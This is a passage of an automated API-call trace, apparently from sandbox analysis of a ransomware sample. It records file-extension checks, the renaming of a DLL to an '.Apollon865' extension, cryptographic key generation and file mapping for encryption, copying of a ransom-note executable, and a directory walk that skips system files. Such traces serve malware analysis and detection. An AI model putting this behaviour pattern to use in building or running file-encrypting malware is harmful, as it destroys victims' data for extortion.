	[0084.859] lstrcmpiW (lpString1="ui.dll", lpString2="db-shm") returned 1
	[0084.859] lstrlenW (lpString="db-wal") returned 6
	[0084.859] lstrcmpiW (lpString1="ui.dll", lpString2="db-wal") returned 1
	[0084.859] lstrlenW (lpString="dbc") returned 3
	[0084.859] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0084.859] lstrlenW (lpString="dbs") returned 3
	[0084.859] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0084.859] lstrlenW (lpString="dbt") returned 3
	[0084.859] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0084.859] lstrlenW (lpString="dbv") returned 3
	[0084.859] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0084.859] lstrlenW (lpString="dbx") returned 3
	[0084.859] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0084.859] lstrlenW (lpString="dcb") returned 3
	[0084.859] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0084.859] lstrlenW (lpString="dct") returned 3
	[0084.859] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0084.859] lstrlenW (lpString="dcx") returned 3
	[0084.859] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0084.859] lstrlenW (lpString="ddl") returned 3
	[0084.859] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0084.859] lstrlenW (lpString="dlis") returned 4
	[0084.859] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1
	[0084.859] lstrlenW (lpString="dp1") returned 3
	[0084.859] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0084.859] lstrlenW (lpString="dqy") returned 3
	[0084.860] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0084.860] lstrlenW (lpString="dsk") returned 3
	[0084.860] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0084.860] lstrlenW (lpString="dsn") returned 3
	[0084.860] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0084.860] lstrlenW (lpString="dtsx") returned 4
	[0084.860] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1
	[0084.860] lstrlenW (lpString="dxl") returned 3
	[0084.860] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0084.860] lstrlenW (lpString="eco") returned 3
	[0084.860] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0084.860] lstrlenW (lpString="ecx") returned 3
	[0084.860] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0084.860] lstrlenW (lpString="edb") returned 3
	[0084.860] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0084.860] lstrlenW (lpString="epim") returned 4
	[0084.860] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1
	[0084.860] lstrlenW (lpString="fcd") returned 3
	[0084.860] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0084.860] lstrlenW (lpString="fdb") returned 3
	[0084.860] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0084.860] lstrlenW (lpString="fic") returned 3
	[0084.860] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0084.860] lstrlenW (lpString="flexolibrary") returned 12
	[0084.860] lstrlenW (lpString="fm5") returned 3
	[0084.860] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0084.860] lstrlenW (lpString="fmp") returned 3
	[0084.860] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0084.860] lstrlenW (lpString="fmp12") returned 5
	[0084.860] lstrcmpiW (lpString1="i.dll", lpString2="fmp12") returned 1
	[0084.860] lstrlenW (lpString="fmpsl") returned 5
	[0084.860] lstrcmpiW (lpString1="i.dll", lpString2="fmpsl") returned 1
	[0084.860] lstrlenW (lpString="fol") returned 3
	[0084.860] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0084.860] lstrlenW (lpString="fp3") returned 3
	[0084.860] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0084.860] lstrlenW (lpString="fp4") returned 3
	[0084.860] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0084.861] lstrlenW (lpString="fp5") returned 3
	[0084.861] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0084.861] lstrlenW (lpString="fp7") returned 3
	[0084.861] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0084.861] lstrlenW (lpString="fpt") returned 3
	[0084.861] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0084.861] lstrlenW (lpString="frm") returned 3
	[0084.861] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0084.861] lstrlenW (lpString="gdb") returned 3
	[0084.861] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0084.861] lstrlenW (lpString="gdb") returned 3
	[0084.861] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0084.861] lstrlenW (lpString="grdb") returned 4
	[0084.861] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1
	[0084.861] lstrlenW (lpString="gwi") returned 3
	[0084.861] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0084.861] lstrlenW (lpString="hdb") returned 3
	[0084.861] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0084.861] lstrlenW (lpString="his") returned 3
	[0084.861] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0084.861] lstrlenW (lpString="ib") returned 2
	[0084.861] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0084.861] lstrlenW (lpString="idb") returned 3
	[0084.861] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0084.861] lstrlenW (lpString="ihx") returned 3
	[0084.861] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0084.861] lstrlenW (lpString="itdb") returned 4
	[0084.861] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1
	[0084.861] lstrlenW (lpString="itw") returned 3
	[0084.861] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0084.861] lstrlenW (lpString="jet") returned 3
	[0084.861] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0084.861] lstrlenW (lpString="jtx") returned 3
	[0084.861] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0084.861] lstrlenW (lpString="kdb") returned 3
	[0084.861] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0084.861] lstrlenW (lpString="kexi") returned 4
	[0084.861] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1
	[0084.862] lstrlenW (lpString="kexic") returned 5
	[0084.862] lstrcmpiW (lpString1="i.dll", lpString2="kexic") returned -1
	[0084.862] lstrlenW (lpString="kexis") returned 5
	[0084.862] lstrcmpiW (lpString1="i.dll", lpString2="kexis") returned -1
	[0084.862] lstrlenW (lpString="lgc") returned 3
	[0084.862] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0084.862] lstrlenW (lpString="lwx") returned 3
	[0084.862] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0084.862] lstrlenW (lpString="maf") returned 3
	[0084.862] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0084.862] lstrlenW (lpString="maq") returned 3
	[0084.862] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0084.862] lstrlenW (lpString="mar") returned 3
	[0084.862] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0084.862] lstrlenW (lpString="marshal") returned 7
	[0084.862] lstrcmpiW (lpString1="lui.dll", lpString2="marshal") returned -1
	[0084.862] lstrlenW (lpString="mas") returned 3
	[0084.862] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0084.862] lstrlenW (lpString="mav") returned 3
	[0084.862] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0084.862] lstrlenW (lpString="maw") returned 3
	[0084.862] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0084.862] lstrlenW (lpString="mdbhtml") returned 7
	[0084.862] lstrcmpiW (lpString1="lui.dll", lpString2="mdbhtml") returned -1
	[0084.862] lstrlenW (lpString="mdn") returned 3
	[0084.862] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0084.862] lstrlenW (lpString="mdt") returned 3
	[0084.862] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0084.862] lstrlenW (lpString="mfd") returned 3
	[0084.862] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0084.862] lstrlenW (lpString="mpd") returned 3
	[0084.862] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0084.862] lstrlenW (lpString="mrg") returned 3
	[0084.862] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0084.862] lstrlenW (lpString="mud") returned 3
	[0084.862] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0084.862] lstrlenW (lpString="mwb") returned 3
	[0084.863] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0084.863] lstrlenW (lpString="myd") returned 3
	[0084.863] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0084.863] lstrlenW (lpString="ndf") returned 3
	[0084.863] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0084.863] lstrlenW (lpString="nnt") returned 3
	[0084.863] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0084.863] lstrlenW (lpString="nrmlib") returned 6
	[0084.863] lstrcmpiW (lpString1="ui.dll", lpString2="nrmlib") returned 1
	[0084.863] lstrlenW (lpString="ns2") returned 3
	[0084.863] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0084.863] lstrlenW (lpString="ns3") returned 3
	[0084.863] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0084.863] lstrlenW (lpString="ns4") returned 3
	[0084.863] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0084.863] lstrlenW (lpString="nsf") returned 3
	[0084.863] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0084.863] lstrlenW (lpString="nv") returned 2
	[0084.863] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0084.863] lstrlenW (lpString="nv2") returned 3
	[0084.863] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0084.863] lstrlenW (lpString="nwdb") returned 4
	[0084.863] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1
	[0084.863] lstrlenW (lpString="nyf") returned 3
	[0084.863] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0084.863] lstrlenW (lpString="odb") returned 3
	[0084.863] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0084.863] lstrlenW (lpString="odb") returned 3
	[0084.863] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0084.863] lstrlenW (lpString="oqy") returned 3
	[0084.863] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0084.863] lstrlenW (lpString="ora") returned 3
	[0084.863] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0084.863] lstrlenW (lpString="orx") returned 3
	[0084.863] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0084.863] lstrlenW (lpString="owc") returned 3
	[0084.863] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0084.863] lstrlenW (lpString="p96") returned 3
	[0084.863] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0084.864] lstrlenW (lpString="p97") returned 3
	[0084.864] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0084.864] lstrlenW (lpString="pan") returned 3
	[0084.864] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0084.864] lstrlenW (lpString="pdb") returned 3
	[0084.864] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0084.864] lstrlenW (lpString="pdm") returned 3
	[0084.864] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0084.864] lstrlenW (lpString="pnz") returned 3
	[0084.864] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0084.864] lstrlenW (lpString="qry") returned 3
	[0084.864] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0084.864] lstrlenW (lpString="qvd") returned 3
	[0084.864] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0084.864] lstrlenW (lpString="rbf") returned 3
	[0084.864] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0084.864] lstrlenW (lpString="rctd") returned 4
	[0084.864] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1
	[0084.864] lstrlenW (lpString="rod") returned 3
	[0084.864] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0084.864] lstrlenW (lpString="rodx") returned 4
	[0084.864] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1
	[0084.864] lstrlenW (lpString="rpd") returned 3
	[0084.864] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0084.864] lstrlenW (lpString="rsd") returned 3
	[0084.864] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0084.864] lstrlenW (lpString="sas7bdat") returned 8
	[0084.864] lstrcmpiW (lpString1="rlui.dll", lpString2="sas7bdat") returned -1
	[0084.864] lstrlenW (lpString="sbf") returned 3
	[0084.864] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0084.864] lstrlenW (lpString="scx") returned 3
	[0084.864] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0084.864] lstrlenW (lpString="sdb") returned 3
	[0084.864] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0084.864] lstrlenW (lpString="sdc") returned 3
	[0084.865] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0084.865] lstrlenW (lpString="sdf") returned 3
	[0084.865] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0084.865] lstrlenW (lpString="sis") returned 3
	[0084.865] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0084.865] lstrlenW (lpString="spq") returned 3
	[0084.865] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0084.865] lstrlenW (lpString="te") returned 2
	[0084.865] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0084.865] lstrlenW (lpString="teacher") returned 7
	[0084.865] lstrcmpiW (lpString1="lui.dll", lpString2="teacher") returned -1
	[0084.865] lstrlenW (lpString="tmd") returned 3
	[0084.865] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0084.865] lstrlenW (lpString="tps") returned 3
	[0084.865] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0084.865] lstrlenW (lpString="trc") returned 3
	[0084.865] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0084.865] lstrlenW (lpString="trc") returned 3
	[0084.865] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0084.865] lstrlenW (lpString="trm") returned 3
	[0084.865] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0084.865] lstrlenW (lpString="udb") returned 3
	[0084.865] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0084.865] lstrlenW (lpString="udl") returned 3
	[0084.865] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0084.865] lstrlenW (lpString="usr") returned 3
	[0084.865] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0084.865] lstrlenW (lpString="v12") returned 3
	[0084.865] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0084.865] lstrlenW (lpString="vis") returned 3
	[0084.865] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0084.865] lstrlenW (lpString="vpd") returned 3
	[0084.866] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0084.866] lstrlenW (lpString="vvv") returned 3
	[0084.866] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0084.866] lstrlenW (lpString="wdb") returned 3
	[0084.866] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0084.866] lstrlenW (lpString="wmdb") returned 4
	[0084.866] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1
	[0084.866] lstrlenW (lpString="wrk") returned 3
	[0084.866] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0084.866] lstrlenW (lpString="xdb") returned 3
	[0084.866] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0084.866] lstrlenW (lpString="xld") returned 3
	[0084.866] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0084.866] lstrlenW (lpString="xmlff") returned 5
	[0084.866] lstrcmpiW (lpString1="i.dll", lpString2="xmlff") returned -1
	[0084.866] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlui.dll.Apollon865") returned 63
	[0084.866] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlui.dll" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\ppcrlui.dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlui.dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\ppcrlui.dll.apollon865"), dwFlags=0x1) returned 1
	[0084.867] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlui.dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\ppcrlui.dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0084.868] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=254216) returned 1
	[0084.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0084.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0084.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0084.868] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0084.869] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0084.869] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.869] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e410, lpName=0x0) returned 0x15c
	[0084.870] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e410) returned 0x120000
	[0084.885] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0084.885] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0084.885] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0084.886] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0084.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0084.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0084.886] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0084.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0084.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0084.886] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0084.886] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0084.886] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0084.886] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0084.888] CloseHandle (hObject=0x15c) returned 1
	[0084.888] CloseHandle (hObject=0x9c) returned 1
	[0084.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0084.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0084.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0084.890] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 0
	[0084.890] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.890] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a50
	[0084.890] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Event Viewer", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Event Viewer") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer"
	[0084.890] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598468 | out: hHeap=0x580000) returned 1
	[0084.890] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0084.890] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Event Viewer") returned 41
	[0084.890] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Event Viewer" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Event Viewer") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer"
	[0084.890] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0084.890] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.891] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.892] GetLastError () returned 0x0
	[0084.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.892] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.892] CloseHandle (hObject=0x10c) returned 1
	[0084.892] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.892] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.892] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2fc52370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc52370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.892] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.892] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0084.892] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0084.892] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2fc52370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc52370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.892] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.892] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.892] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.892] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0084.892] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fc52370, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fc52370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0084.892] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0084.892] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2fcc4790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fcc4790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 1
	[0084.892] lstrcmpiW (lpString1="Views", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.893] lstrcmpiW (lpString1="Views", lpString2="Apollon865.txt.exe") returned 1
	[0084.893] lstrcmpiW (lpString1="Views", lpString2=".") returned 1
	[0084.893] lstrcmpiW (lpString1="Views", lpString2="..") returned 1
	[0084.893] lstrcmpiW (lpString1="Views", lpString2="windows") returned -1
	[0084.893] lstrcmpiW (lpString1="Views", lpString2="bootmgr") returned 1
	[0084.893] lstrcmpiW (lpString1="Views", lpString2="temp") returned 1
	[0084.893] lstrcmpiW (lpString1="Views", lpString2="pagefile.sys") returned 1
	[0084.893] lstrcmpiW (lpString1="Views", lpString2="boot") returned 1
	[0084.893] lstrcmpiW (lpString1="Views", lpString2="ids.txt") returned 1
	[0084.893] lstrcmpiW (lpString1="Views", lpString2="ntuser.dat") returned 1
	[0084.893] lstrcmpiW (lpString1="Views", lpString2="perflogs") returned 1
	[0084.893] lstrcmpiW (lpString1="Views", lpString2="MSBuild") returned 1
	[0084.893] lstrlenW (lpString="Views") returned 5
	[0084.893] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*") returned 43
	[0084.893] lstrcpyW (in: lpString1=0x119e65c, lpString2="Views" | out: lpString1="Views") returned="Views"
	[0084.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0084.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c55f8
	[0084.893] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a50 | out: ListHead=0x5b75f0, ListEntry=0x5b7a50) returned 0x5b7ad0
